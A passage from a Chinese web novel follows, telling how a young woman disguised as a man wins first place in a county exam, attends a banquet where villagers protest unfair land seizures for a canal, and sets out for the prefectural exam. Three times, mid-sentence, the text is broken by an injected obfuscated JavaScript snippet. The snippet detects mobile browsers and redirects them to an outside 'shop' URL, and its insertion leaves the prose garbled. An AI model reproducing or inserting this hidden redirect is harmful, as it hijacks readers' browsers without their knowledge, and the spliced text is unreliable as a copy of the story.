她说得很谨慎，每个字都斟酌过。 李庸盯着她：“这些话，谁教你的？” “无人教。”谢青梧垂眸，“学生家中……有女性长辈曾操持桑织，学生亲眼见过辛劳。读书时便想，既是为国献策，便该如实言之。” 半真半假。林姨娘确实会织布，也确实辛苦。 李庸沉默片刻。 “你可知，这样的话写出来，若被有心人看见，会说你‘牝鸡司晨’？” “学生只知，鸡鸣报晓，不分牝牡。”谢青梧抬眼，目光平静，“若只因是母鸡，连叫的资格都没有，那这世道，未免太不讲理。” 话说出口，她自己都惊了一下。 太直了。 可收不回来了。 李庸看着她，看了很久。久到谢青梧手心又开始冒汗。 然后，他忽然笑了。 不是冷笑，是真的笑了，眼角皱起细纹。 “好一个‘太不讲理’。”他摇摇头，“年轻人，有锐气是好事。但你要记住，这话在我这儿说说便罢，到了府试、院试，乃至会试殿试，可要收敛些。” “学生明白。” “明白就好。”李庸站起身，“三日后县学有宴，你作为案首，必须到场。穿戴整齐些，别丢了本县的脸。” “是。” “去吧。” 谢青梧起身行礼，退出后堂。 走出县衙时，她才发现后背又湿了一层。 外面阳光正好，周子砚还在等她。 “怎么样？大人没为难你吧？”他迎上来。 “没有，只是勉励几句。”谢青梧说，“走吧。” 两人并肩往外走。街上人来人往，热闹得很。路过一个糖画摊子时，周子砚突然停住。 “谢兄，等我一下。” 他跑过去，跟摊主说了几句，掏钱。很快举着两个糖画回来，一个蝴蝶，一个鲤鱼。 “给你。”他把鲤鱼那个递给谢青梧。 谢青梧愣住。 “庆祝咱们都中了。”周子砚笑得有点不好意思，“我娘说过，鲤鱼跃龙门，好兆头。” 谢青梧接过糖画。金黄透明，在阳光下亮晶晶的。 她小心咬了一口。 甜。很甜。 “谢谢。”她说。 周子砚摆摆手：“该我谢你。要不是你救我，我可能连考场都出不来，更别说中榜了。” 两人边走边聊。周子砚说起他家在青山县，爹早逝，娘给人洗衣供他读书。这次中了，娘不知道得多高兴。 谢青梧静静听着。 走到岔路口，周子砚停下：“我住城东客栈，谢兄呢？” “我……”谢青梧顿了顿，“回家。” “那三日后县学宴见？” “好。” 周子砚拱拱手，转身走了。走了几步又回头：“谢兄！” “嗯？” “你那篇文章，写得真好。”周子砚认真道，“我回去又想了很久，农桑之事，确实如你所说，女子之功不可没。” 他说完，不好意思地笑笑，快步走了。 谢青梧站在原地，看着他的背影消失在人群里。 手里的糖画开始化了，黏糊糊的。 她慢慢走回家。 还没到门口，就看见春杏在巷口张望。看见她，春杏跑过来，眼睛亮晶晶的。 “公子！怎么样？” 谢青梧把糖画递给她：“中了。案首。” 春杏张大嘴，好半天才“啊”了一声，接过糖画，手都在抖。 “案首……第一……” “嗯。” 两人回到小院，关上门。春杏突然蹲在地上，哭了。 不是大哭，就是默默流眼泪，肩膀一抽一抽的。 谢青梧站在那儿，看着她哭。 等春杏哭够了，抬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946670|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，眼睛鼻子都红红的。 “公子，”她声音哑着，“姨娘要是知道……” “她知道。”谢青梧轻声说，“她一定知道。” 春杏用力点头，站起来擦干脸：“我去给姨娘上炷香。” 她跑去小佛堂——其实就是厢房一角，供着林姨娘的牌位。谢青梧没跟去，她在院子里站了会儿，抬头看天。 天很蓝，云很淡。 案首。 第一步，成了。 下午，王氏那边来了人。不是周嬷嬷，是个面生的小丫鬟，送来一套新衣裳，还有一支银簪。 “夫人说，三日后县学宴，请公子穿戴得体。”小丫鬟低着头，“还说……老爷晚上想见见公子。” 谢青梧接过东西：“知道了。” 小丫鬟退下了。 春杏看着那套衣裳，料子是细棉，比之前那套好多了。银簪也是男子样式，简洁大方。 “老爷要见您……”春杏担忧。 “迟早的事。”谢青梧很平静。 她那个爹，谢家家主谢远山，一年到头见不了几面的爹。如今她中了案首，总算有点用了。 晚上，谢青梧换了新衣裳，去前院书房。 谢远山正在看书，见她进来，放下书卷。 “父亲。”谢青梧行礼。 谢远山打量她。 这个庶子，他几乎没怎么注意过，印象里就是个安静胆小的。如今再看，眉眼清俊，举止得体，倒真有几分读书人的样子。 “坐。” 谢青梧坐下。 “你母亲都跟我说了。”谢远山开口，“这次做得不错。” 谢青梧垂眸：“是母亲安排妥当。” “你自己也争气。”谢远山顿了顿，“府试在两个月后，这段时间好好准备。需要什么书，跟账房说，让他们去买。” “是。” “还有，”谢远山看着她，“县学宴上，少说话，多听。县令大人赏识你是好事，但别得意忘形。” “儿子明白。” 谢远山又交代了几句，无非是些场面话。谢青梧一一应着，心里清楚，这个爹对她没什么感情，只是看中了她现在的价值。 说完话，谢远山摆摆手：“去吧。” 谢青梧起身行礼，退出书房。 走到院子里，她回头看了眼书房窗户透出的光。 冰冷，遥远。 就像这个家。 她转身，走回自己那个偏僻小院。 春杏已经备好热水，等她回来洗漱。卸下发簪，脱了外衣，解开束胸，谢青梧泡进热水里，长长舒了口气。 “公子，”春杏一边帮她擦背，一边小声问，“老爷说什么了？” “让我好好准备府试。” “没别的？” “没了。” 春杏沉默片刻，低声道：“姨娘说过，老爷心里只有前程，没有家人。” 谢青梧没说话。 她闭着眼，感受热水包裹身体。 前程。 她也要前程。但不是谢远山要的那种光宗耀祖的前程。 她要的，更大，更远。 远到谢远山想都不敢想。 洗完澡，换上家常衣服，谢青梧走到书桌前，桌上摊着府试要读的书。她翻开一页，却看不进去。 眼前晃过李庸那张脸，他说“牝鸡司晨”时的表情。 晃过周子砚递糖画时腼腆的笑。 晃过谢远山那双没什么温度的眼睛。 最后定格在榜单上。 谢怀瑾。案首。 她伸手，摸了摸自己的喉咙。 那里平坦，没有喉结。 但只要她低着头，少抬头，穿高领衣服，就能瞒过去，至少现在能，以后呢？ 府试，院试，乡试，会试，殿试…… 一路考上去，接触的人会越来越多，审视的目光会越来越严。 她得更小心，更谨慎，不能露出一丝破绽，窗外有虫鸣，细细碎碎的。 谢青梧提起笔，蘸墨，在纸上写下一行字。 “路漫漫其修远兮。” 她停笔，看着这行字。 然后继续写。 “吾将上下而求索。” 求什么？ 求一条生路。 求一个公道。 求一个女子也能堂堂正正活着的世道。 她放下笔，吹灭灯。 黑暗里，她睁着眼，很久才睡着。 5. 县学宴 县学宴设在城南的鹤鸣书院。 谢青梧到的时候，院子里已经聚了不少人。大多是这次县试考中的学子，也有几个县学的老秀才作陪。大家都穿着新衣裳，脸上带着笑，三三两两说着话。 李庸还没来，主位上空着。 谢青梧找了个角落的位置坐下。春杏今早特意把她那件淡青色长衫熨得平平整整，头发也重新束过，用的是新买的发带。看起来干净清爽，就是太瘦了些。 “谢兄！” 周子砚从人群里挤过来，脸上红扑扑的，眼睛发亮。他也换了身衣裳，虽然是粗布，但洗得很干净。 “你来得真早。”谢青梧朝他点点头。 “我娘昨晚就催我睡了，天没亮就把我叫起来。”周子砚在她旁边坐下，搓着手，“我还是第一次来这种场合，心里慌得很。” 谢青梧没说话。她也在观察。 院子里摆着十来张桌子，按名次排列。她的位置在第一排正中间，案首的待遇。左右两边坐的分别是第二和第三名，都是县里有名的书香门第子弟。 那两人正在说话，声音不大，但足够让她听见。 “听说了吗？今儿顾家那位也要来。” “顾临渊？他不是在京城读书吗？” “回来探亲，正好赶上。李大人特意请来的。” 谢青梧垂下眼，端起茶杯抿了一口。 顾临渊。首辅顾廷玉的嫡长子，十七岁就中了举人，如今在国子监读书。这种人物，怎么会来县学宴？ 她正想着，门口一阵骚动。 李庸进来了。他今天穿了身深蓝色常服，脸上带着笑，看起来比在县衙时和气不少。但他身后跟着的那个人，更引人注意。 是个少年，十七八岁的年纪，穿月白色锦袍，腰间系着白玉佩。眉眼生得极好，就是神色冷淡，看人的时候眼皮半垂着，一副漫不经心的样子。 这就是顾临渊。 李庸走到主位坐下，顾临渊在他右手边落座。位置离谢青梧不远，中间只隔了两个座位。 “诸位都坐吧。”李庸开口，声音温和，“今日设宴，一为庆贺，二为勉励。县试只是第一步，往后还有府试、院试、乡试……路还长着呢。” 众人纷纷应和。 谢青梧低着头，专心吃面前那碟花生。她吃得慢，一粒一粒地剥，剥出来的花生仁整整齐齐放在小碟里。 “你就是谢怀瑾？” 声音从右边传来，不高不低。 谢青梧抬头，对上顾临渊的视线。他不知什么时候看过来的，眼神淡淡的，看不出情绪。 “是。”她放下手里的花生。 “县试案首。”顾临渊语气平平，“文章我看了，写得还行。” 这话说得别扭。夸人不像夸人，倒像是长辈评价晚辈功课。 谢青梧笑了笑：“顾公子过奖。” “不过奖。”顾临渊转开视线，端起茶杯，“就是有些地方，想得太多。科举文章，还是中规中矩的好。” 这话里的意思，谢青梧听懂了。 她那篇策论里提了女子桑织的事，看来不只李庸注意到了。 “学生记下了。”她应道，没多解释。 顾临渊也没再说话。 宴席开始。菜一道道上，不算特别丰盛，但挺精致。席间有人作诗，有人论经，气氛渐渐热闹起来。 李庸偶尔点评几句，大多时候都在和顾临渊说话。顾临渊话不多，但每次开口都能说到点子上，引经据典，信手拈来。 确实有才。也确实傲。 谢青梧安静听着，该吃吃，该喝喝。有人来敬酒，她就以茶代酒回敬。有人问文章，她就谦虚几句，不多说。 直到席间有人提起一个话题。 “听说朝廷要修运河，从江南直通京城。”说话的是这次县试第三名，姓赵，家里是经商的，“这可是大事，要是真成了，往后南北货运就方便多了。” 李庸点头：“确有此事。工部已经派人勘测，只是……” 他顿了顿，没往下说。 顾临渊接了口：“只是沿途田地征用，百姓安置，都是麻烦。更别说工程耗资巨大，国库未必支应得起。” “顾公子说得是。”赵学子附和，“不过要是真修成了，可是功在千秋啊。” “功在千秋？”顾临渊轻笑一声，声音里带着点嘲讽，“只怕是劳民伤财，最后成了某些人捞钱的由头。” 这话说得直白，席间一时安静。 李庸咳嗽两声：“临渊，慎言。” 顾临渊放下筷子：“学生失言了。不过修运河这种事，纸上谈兵容易，真要实施，千头万绪。不说别的，光是征用民田，就够喝一壶的。” 他说话时，眼睛看着桌上的菜，没看任何人。但谢青梧能感觉到，这话是说给所有人听的。 或者说，是说给她听的。 她那篇策论里，除了女子桑织，还隐晦地提了句“疏通河道，利通南北”。虽然只是一笔带过，但顾临渊显然注意到了。 他在敲打她。 谢青梧垂下眼，夹了块鱼肉。鱼肉嫩滑，入口即化，但她吃得没什么滋味。 宴席过半，李庸起身更衣。他走后，席间气氛松快了些。有人开始行酒令，有人凑在一起说笑。 周子砚小声问谢青梧：“谢兄，你怎么不说话？” “听大家说就好。”谢青梧笑笑。 “那个顾公子……”周子砚压低声音，“好像挺厉害的样子。” “首辅家的公子，自然厉害。” “不过我觉得，还是谢兄你更厉害。”周子砚认真道，“你可是案首。” 谢青梧摇摇头，没接话。 她看向顾临渊那边。他正独自坐着，手指在桌上轻轻敲着，不知道在想什么。月白色的锦袍衬得他肤色更白，眉眼更冷，和这热闹的宴席格格不入。 就在这时，外头突然传来喧哗声。 “怎么回事？”有人问。 一个小厮慌慌张张跑进来：“大人！外头、外头来了群人，说要见李大人！” 李庸不在，席间众人面面相觑。 顾临渊皱了皱眉，起身往外走。几个学子跟着出去，谢青梧想了想，也跟了过去。 书院门口挤了十几个人，都是普通百姓打扮，有男有女，脸上带着怒色。为首的是个五十来岁的老汉，手里举着张纸，纸上密密麻麻写着字。 “我们要见李大人！”老汉喊，“凭什么占我们的地！” 顾临渊走到门口，扫了那些人一眼：“李大人不在。有什么事，跟我说。” “跟你说？”老汉打量他，“你谁啊？” “顾临渊。” 老汉愣了下，显然听过这个名字。但他很快又梗起脖子：“顾公子又怎样？我们今天非要见李大人不可！” “什么事？”顾临渊问。 “修运河！”老汉把那张纸抖开，“官府要征我们村的地，说是修运河用。可给的补偿银子，连市价一半都不到！这不是明抢吗！” 他身后的人纷纷附和。 “就是！我家三亩水田，就给二十两！” “我家的祖坟都在那儿，说迁就迁，连个商量都没有！” “还有我家的房子……” 七嘴八舌，乱成一团。 顾临渊眉头皱得更紧：“补偿标准是工部定的，地方官府只是执行。” “执行也不能这么执行啊！”老汉激动道，“我们一家老小就指着那些地吃饭，地没了，银子又不够，往后怎么活？” 顾临渊沉默了。 他显然没想到会遇上这种事。书本上的治国方略，朝堂上的高谈阔论，落到实地，原来是这样的。 谢青梧站在人群后面，看着那些百姓的脸。焦急，愤怒，无助。她想起林姨娘病重时，谢家不肯请好大夫，也是这样的表情。 “这位老伯。”她忽然开口。 众人都看向她。 谢青梧走上前，声音平缓：“您刚才说，官府给的补偿不够市价一半，可有凭证？” 老汉愣了愣：“有、有啊！我们打听过了，邻村上个月卖地，一亩水田能卖十五两。官府只给我们八两！” “那您可有将此事上报？”谢青梧问，“县衙不管，可以往府衙递状子。” “递了！”老汉眼眶红了，“递了三回，石沉大海！后来才听说，管这事的是县丞的小舅子，他低价收了地，转头就能高价卖给工部的人，中间不知道赚多少！” 这话说出来，在场学子的脸色都变了。 顾临渊盯着那老汉：“你说的可是真的？” “若有半句假话，天打雷劈！”老汉咬牙，“我们也是没办法了，才来找李大人。听说李大人是个好官，求他给条活路。” 谢青梧没再说话。 她看向顾临渊。他站在那里，脸色很难看。月白色的锦袍在日光下有些刺眼，和他此刻的表情不太相称。 “我知道了。”良久，顾临渊开口，“你们先回去。这件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946671|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事，我会查。” “顾公子……” “我说了，我会查。”顾临渊打断老汉的话，“三天。三天后，给你们答复。” 老汉将信将疑，但看他神色认真，最终还是点了点头，带着人走了。 门口恢复安静。 顾临渊转身往回走，经过谢青梧身边时，脚步顿了顿。 “你倒是会问。”他扔下这句话，语气听不出褒贬。 谢青梧没应声。 她知道顾临渊现在心情不会好。一个从小锦衣玉食、读圣贤书长大的世家公子，第一次亲眼看见民间的龌龊，看见他父亲执掌的朝廷底下，是这样一副样子。 宴席是继续不下去了。 李庸回来后听说此事，脸色也不好看。他安抚了众人几句，便匆匆离开，说是要去县衙问个清楚。 学子们陆续散去。 周子砚和谢青梧一起往外走，边走边叹气：“没想到修运河还有这么多事……那些百姓真可怜。” 谢青梧嗯了一声。 “谢兄，你说顾公子真会管吗？”周子砚问。 “会。”谢青梧说。 “为什么？” “因为他姓顾。” 顾家的名声，顾临渊自己的傲气，都不会允许他不管。 走到书院门口，谢青梧看见顾临渊还站在那儿。他没上马车，就站在台阶上，望着刚才那些百姓离开的方向。 夕阳照在他身上，拉出长长的影子。 周子砚想过去打招呼，被谢青梧拉住了。 “走吧。”她说。 两人走出很远，周子砚才小声问：“谢兄，你好像不太喜欢顾公子？” 谢青梧脚步没停。 “谈不上喜欢不喜欢。”她看着前头的路，声音很轻，“只是道不同。” “道不同？” “他看的是江山社稷。”谢青梧说，“我看的，是江山社稷里的人。” 尤其是那些，连说话都没人听的人。 回到谢府时，天已经擦黑。 春杏迎出来，小声说：“公子，老爷让你回来去书房一趟。” 谢青梧换了身衣服，去了前院。 书房里，谢远山正在看账本。见她进来，放下手里的东西。 “今日县学宴，怎么样？” “还行。”谢青梧简单说了说。 谢远山听完，点点头：“顾临渊……首辅家的公子，你和他说话了？” “说了几句。” “该结交。”谢远山说，“这样的人脉，对你往后有好处。” 谢青梧垂眸：“儿子明白。” “不过也别太热络。”谢远山又道，“世家子弟，眼光高。你一个寒门出身，太过殷勤反而让人看轻。” “是。” 谢远山打量她几眼，忽然问：“你那篇文章里，提女子桑织的事，是你自己想出来的？” 来了。 谢青梧心头微紧，面上不动声色：“是。儿子见母亲生前……林姨娘生前辛苦，有感而发。” 谢远山沉默片刻。 “以后少写这些。”他说，“科举文章，写些稳妥的就好。女子之事，不是该你操心的。” “儿子记住了。” 谢远山摆摆手：“去吧。府试在两个月后，好好准备。” 谢青梧退出来。 走出书房，她站在院子里，抬头看了看天。 暮色四合，星星还没出来。 她想起宴席上顾临渊那副冷淡的样子，想起那些百姓焦急的脸，想起谢远山刚才说的话。 道不同。 确实道不同。 但她要走的路，本来就不是他们能理解的。 春杏在院门口等她，手里提着灯笼。暖黄的光映着她担忧的脸。 “公子，没事吧？” “没事。”谢青梧接过灯笼，“回去吧。” 主仆俩一前一后走回小院。灯笼的光在青石板路上晃动，照出一小圈亮。 谢青梧走得很稳。 她知道，从今天起，顾临渊会记住她。 不是因为她县试案首，而是因为她在那个时机，问了该问的话。 这就够了。 至于往后…… 她推开院门，走进那片熟悉的小小天地。 往后的事，往后再说。现在她要做的，是准备府试，一步步往上走。 走到足够高的地方。 高到她说的话，会有人听。 6. 书铺 三天后，周子砚一大早就来敲门。 春杏开门时，他还喘着气，额头上都是汗：“谢兄在吗？” 谢青梧正在院里读书，闻言放下书卷：“子砚兄？进来坐。” “不坐了不坐了。”周子砚摆摆手，压低声音，“我刚从县衙那边过来，你猜怎么着？” “怎么？” “那征地的事，有结果了！”周子砚眼睛发亮，“顾公子真查了！县丞那个小舅子，被革了职，那几个被压价的地，官府答应按市价补钱！” 谢青梧点点头，并不意外。 “还有呢，”周子砚接着说，“听说顾公子还往府衙递了折子，说要查查其他地方有没有类似的事。这下可捅了马蜂窝了，好些人背后骂他多管闲事呢。” “骂他的人多吗？” “多啊！”周子砚啧了一声，“都说他一个京城来的公子哥，懂什么民间疾苦，净给地方官找麻烦。不过老百姓都说他好，那几个村的百姓还打算给他送万民伞呢。” 谢青梧没说话。 她想起那天顾临渊站在台阶上的样子。月白锦袍，神色冷淡，但说出“我会查”三个字时，眼神是认真的。 “谢兄，你怎么看？”周子砚问。 “他能查，是好事。”谢青梧说，“至于别人骂不骂，不重要。” “那倒也是。”周子砚想了想，“不过顾公子这一闹，往后他在地方官那儿，名声怕是不好听了。” “名声好不好，看他想要什么。”谢青梧淡淡道，“若想要清名，就不会管这事了。” 周子砚若有所思。 又说了几句，他便告辞了，说是要回去温书。春杏送他出门，回来时小声说：“公子，这位周公子人倒是实在。” “嗯。”谢青梧重新拿起书，“就是太实在了。” 容易吃亏。 后面这话她没说。春杏似懂非懂地点点头，去厨房准备午饭了。 下午，谢青梧去了趟书铺。 府试在两个月后，她得找些府试常考的文章来看。谢家虽然有书房，但那些书她不能随便动，免得惹人注意。 书铺在城西，不大，但书挺全。掌柜是个五十来岁的老头，戴着一副老花镜，正趴在柜台上打瞌睡。 谢青梧在书架前慢慢找。四书五经的注疏本，历届府试的范文集，还有几本时政策论。她挑了几本实用的，拿到柜台结账。 掌柜眯着眼看了看：“这些书可不便宜。” “多少？” “一共三两二钱。” 谢青梧从袖中掏出钱袋。钱是王氏给的，不多，但够用。她数出银钱递过去，掌柜接过，慢悠悠地包书。 就在这时，门口进来一个人。 月白锦袍，腰佩白玉，不是顾临渊是谁。 他也看见谢青梧了，脚步顿了顿，还是走了过来。 “谢怀瑾？” “顾公子。”谢青梧拱手。 顾临渊扫了眼她手里的书：“准备府试？” “是。” “这些书……”顾临渊拿起一本翻了翻，眉头微皱，“太浅。府试虽不比乡试会试，但也不是背几篇范文就能过的。” 谢青梧垂眸：“学生家境寻常，只能找到这些。” 顾临渊看了她一眼，没说话。他走到书架前，手指在书脊上掠过，很快抽出两本，扔在柜台上。 “加上这两本。” 谢青梧看了眼书封。一本是《策论精要》，一本是《经义辨析》，都是京城有名的书院出的，她之前见过，但买不起。 “顾公子，这……” “借你的。”顾临渊淡淡道，“考完还我。” 他说得随意，好像真是随手一借。但谢青梧知道，这两本书在县城根本买不到，他是特意找出来的。 “多谢顾公子。”她没推辞。 顾临渊嗯了一声，自己也挑了几本书，一起结账。掌柜包书的时候，他忽然问：“那天在书院门口，你问我那老汉可有凭证，是早就想到这一层了？” 谢青梧顿了顿：“学生只是觉得，空口无凭，总要有个依据。” “依据……”顾临渊重复这两个字，神色有些复杂，“你说得对。我回去查了，那些百姓手里真有地契，真有邻村的买卖文书。可县衙的案卷上，写得清清白白，补偿银两一分不少。” 他说这话时，声音很平静，但谢青梧听出了一丝压抑的怒意。 “顾公子打算怎么办？” “已经办了。”顾临渊说，“该革职的革职，该补钱的补钱。至于往上还有没有牵连，我会继续查。” 谢青梧点点头，没再多问。 书包好了。两人一前一后走出书铺。外头阳光很好，街上人来人往，热热闹闹的。 顾临渊没立刻走，站在门口，看着街景出神。 “谢怀瑾。”他忽然开口。 “学生在。” “你觉得，朝廷修运河，是对还是错？” 这个问题问得突然。谢青梧沉默片刻，才说：“利国利民的事，自然是对的。” “那伤及小民呢？” “那就想法子不伤。”谢青梧说，“或者少伤。” 顾临渊转头看她：“说得轻巧。” “是不容易。”谢青梧承认，“但不容易，就不做了吗？” 顾临渊盯着她看了好一会儿，忽然笑了。不是那种温和的笑，而是带着点自嘲的。 “你说得对。”他说，“不容易，也得做。” 他摆摆手，转身走了。月白的身影很快消失在人群里。 谢青梧提着书，慢慢往回走。 她想起刚才顾临渊那个笑。世家公子，金尊玉贵，第一次看见底下那些脏污，心里不舒服是正常的。 但他还会查下去吗？ 谢青梧觉得会。不是因为他多心系百姓，而是因为他是顾临渊。顾家的骄傲，他自己的傲气，都不允许他半途而废。 这就够了。 回到谢府，春杏已经摆好午饭。一碟青菜，一碟豆腐，一碗米饭，简单得很。 谢青梧吃完饭，回屋看书。顾临渊借她的那两本，确实比她之前找的好得多。注解详实，例子也新，看得出是花了心思编的。 她看得很认真，直到天色暗下来，春杏进来点灯。 “公子，歇会儿吧，眼睛该累了。” 谢青梧揉揉眉心，放下书。确实有点累，但心里踏实。 有了这些书，府试的把握又多了几分。 第二天，谢青梧照常早起读书。刚读了一个时辰，外头传来敲门声。 春杏去开门，回来时脸色不太好看：“公子，大公子来了。” 谢明远？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946672|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谢青梧放下书，起身走到外间。谢明远已经进来了，背着手，在屋里慢悠悠地转了一圈。 “二弟用功啊。”他说，眼睛扫过桌上的书。 “兄长有事？”谢青梧问。 “没事就不能来看看你？”谢明远在椅子上坐下，翘起腿，“听说你前几日去县学宴，见着顾临渊了？” 消息传得倒快。 “是。”谢青梧说。 “说了什么？” “没说什么，打了个招呼而已。” 谢明远显然不信：“打招呼？我怎么听说，你还跟他在书院门口说了半天话，什么征地补偿的。” 谢青梧心头一凛。那天在场的人不少，有人把话传到谢明远耳朵里，也不奇怪。 “只是凑巧碰上。”她说。 “凑巧？”谢明远冷笑，“谢怀瑾，我告诉你，顾临渊是什么人，你是什么人，自己心里有点数。人家是首辅公子，将来要入阁拜相的，你一个寒门出身的，攀得上吗？” 这话说得难听。春杏在一旁听着，脸都气红了。 谢青梧神色不变：“兄长多虑了，我没想攀谁。” “没想最好。”谢明远站起来，走到她面前，压低了声音，“母亲让你替考，是给你条活路。你乖乖考完，拿个功名，对谢家有用，对你也有好处。别动那些不该动的心思，懂吗？” 他离得太近，呼吸喷在谢青梧脸上，带着一股酒气。 谢青梧退后半步：“兄长的话，我记住了。” “记住就好。”谢明远满意了，又打量她几眼，“不过你最近倒是长进了些，看着没那么畏畏缩缩了。好好考，要是真能中个举人，谢家不会亏待你。” 他说完，转身走了。脚步声远去，院子里恢复安静。 春杏气得眼泪打转：“大公子他……他怎么能这么说！” “他说他的。”谢青梧走回书桌前坐下，“我们做我们的。” “可是……” “没什么可是。”谢青梧翻开书，“春杏，你要记住，在这家里，我们说的话不重要，别人怎么说也不重要。重要的是，我们能做什么，能做到哪一步。” 春杏似懂非懂地点点头。 谢青梧不再说话，继续看书。 阳光从窗户照进来，落在书页上，字迹清晰。她看得认真，一字一句，慢慢咀嚼。 外头的世界很吵，谢明远的话很难听，顾临渊的态度很复杂。 但这些都影响不了她。 她要走的路，从一开始就注定孤独。能依靠的，只有手里的书，笔下的字，和心里那点不肯熄灭的火。 窗外的树影慢慢移动，从东边挪到西边。 谢青梧放下书，揉了揉手腕。该练字了。 她铺开纸，研好墨，提起笔。 笔尖落在纸上，写下一个字： “静”。 心要静，气要定。 外面的风雨再大，关起门来，这一方书桌就是她的天地。 她继续写，字迹工整，一笔一划，都透着股沉静的力量。 写完一张纸，她放下笔，看了看。 还不错。 至少比昨天有进步。 她笑了笑，把纸收到一边，重新铺开一张。 府试在即，她没时间想别的。 只能往前。 7. 赴考 出发那天，天刚蒙蒙亮。 谢青梧只带了一个包袱，里面装着两件换洗衣服，几本书，还有春杏连夜烙的饼。春杏眼睛红红的，送到门口就不肯往前了。 “公子，路上小心。”她声音有点哑。 “知道了，回去吧。”谢青梧接过包袱，背在肩上。 周子砚已经在巷口等着了。他也只带了个小包袱，看到谢青梧出来，赶紧迎上来：“谢兄，马车我已经雇好了，就在前面。” 两人走到街口，一辆青布马车停在那里。车夫是个中年汉子，皮肤黝黑，话不多，接过包袱放在车上，就示意他们上车。 车厢不大，刚好能坐下两个人。谢青梧靠窗坐下，掀开帘子往外看。晨雾还没散，街上静悄悄的，只有早起的摊贩在支摊子。 马车动了，车轮碾过青石板，发出辘辘的声响。 周子砚有些兴奋，又有些紧张：“谢兄，你说府试会不会很难？” “难不难，考了才知道。”谢青梧说。 “我倒是不怕考题难。”周子砚搓搓手，“就怕出什么意外。我娘说，她昨晚梦见我半路把墨打翻了，急得她今早起来还念叨。” 谢青梧笑了笑：“梦都是反的。” “但愿吧。”周子砚叹了口气，“对了谢兄，你听说没，这次府试的主考官，好像是京里来的。” “京里来的？” “嗯，说是礼部的一个郎中，姓崔。”周子砚压低声音，“我舅舅在县衙当文书，听他说的。这位崔大人脾气不太好，最讨厌考生在文章里标新立异。” 谢青梧没接话。 标新立异……她想起县试时写的那句“妇功桑织亦为国用”，在有些人眼里，大概就算标新立异了。 马车出了城，路就不太好走了。颠颠簸簸的，晃得人头晕。周子砚渐渐不说话了，靠着车厢壁打盹。 谢青梧睡不着。她看着窗外，田野，村庄，偶尔经过的农人。一切都陌生又熟悉。 她想起很多年前，林姨娘还在的时候，有一次带她去城外上香。也是坐马车，也是这样的路。姨娘说，梧儿，你看看外头，这世道很大，不只咱们那个小院子。 那时候她还不懂。现在懂了，却已经没了说这话的人。 马车走了大半天，晌午时分，停在一个小镇外头。车夫说马累了，要歇歇脚，喂点草料。 周子砚醒了，揉着眼睛：“到哪儿了？” “清水镇。”车夫说，“前面有茶棚，两位公子可以下去歇歇。” 两人下了车。茶棚就在路边，搭得简陋，但还算干净。老板娘是个四十来岁的妇人，见他们进来，笑着招呼：“两位公子坐，喝茶还是吃饭？” “两碗茶，再随便来点吃的。”周子砚说。 茶很快端上来，粗瓷碗，茶汤浑浊，但还算热乎。老板娘又端来两碟饼，一碟咸菜。 周子砚咬了口饼，皱眉：“这饼有点硬。” “将就吃吧。”谢青梧说，她也拿起一块饼，慢慢嚼着。 正吃着，外头又进来几个人。都是汉子，穿着短打，走路带风。为首的是个刀疤脸，眼睛在茶棚里扫了一圈，落在谢青梧他们这桌。 “哟，读书人。”刀疤脸走过来，拉过凳子坐下，“这是去哪儿啊？” 周子砚有些紧张，看向谢青梧。 谢青梧放下饼，抬眼：“去府城。” “府城？赶考的吧。”刀疤脸咧嘴笑，露出一口黄牙，“这一路可不太平，两位公子可得小心点。” “多谢提醒。”谢青梧说。 “不过嘛……”刀疤脸话锋一转，“小心不如有个保障。我们兄弟几个，专门护送赶考的学子，只要十两银子，保你们平安到府城。” 周子砚脸色变了：“十两？这也太贵了。” “贵？”刀疤脸身后的汉子哼了一声，“小命要紧还是钱要紧？” 茶棚里的气氛一下子僵了。老板娘站在柜台后头，不敢出声。 谢青梧看着刀疤脸，忽然笑了。 “这位大哥说得对，小命要紧。”她伸手从包袱里摸钱袋，“十两是吧，我给。” 周子砚急了：“谢兄！” “不过，”谢青梧把钱袋放在桌上，却不打开，“我得先看看几位大哥的本事。不然银子给了，你们半路跑了怎么办？” 刀疤脸一愣，随即哈哈大笑：“小子，你当我们是什么人？” “不管是什么人，总得让我放心。”谢青梧语气平静，“这样吧，我看大哥腰间这把刀不错，能不能让我看看？” 刀疤脸笑容收了几分，盯着谢青梧看了几秒，慢慢抽出刀：“看吧。” 那是一把普通的刀，刀身有些锈迹，刀刃也钝了。谢青梧接过，掂了掂，又用手指轻轻弹了下刀身。 “刀是好刀，可惜保养得不好。”她说，“刀刃钝了，刀身有锈，真遇上事，怕是使不上力。” 刀疤脸脸色沉下来：“你什么意思？” 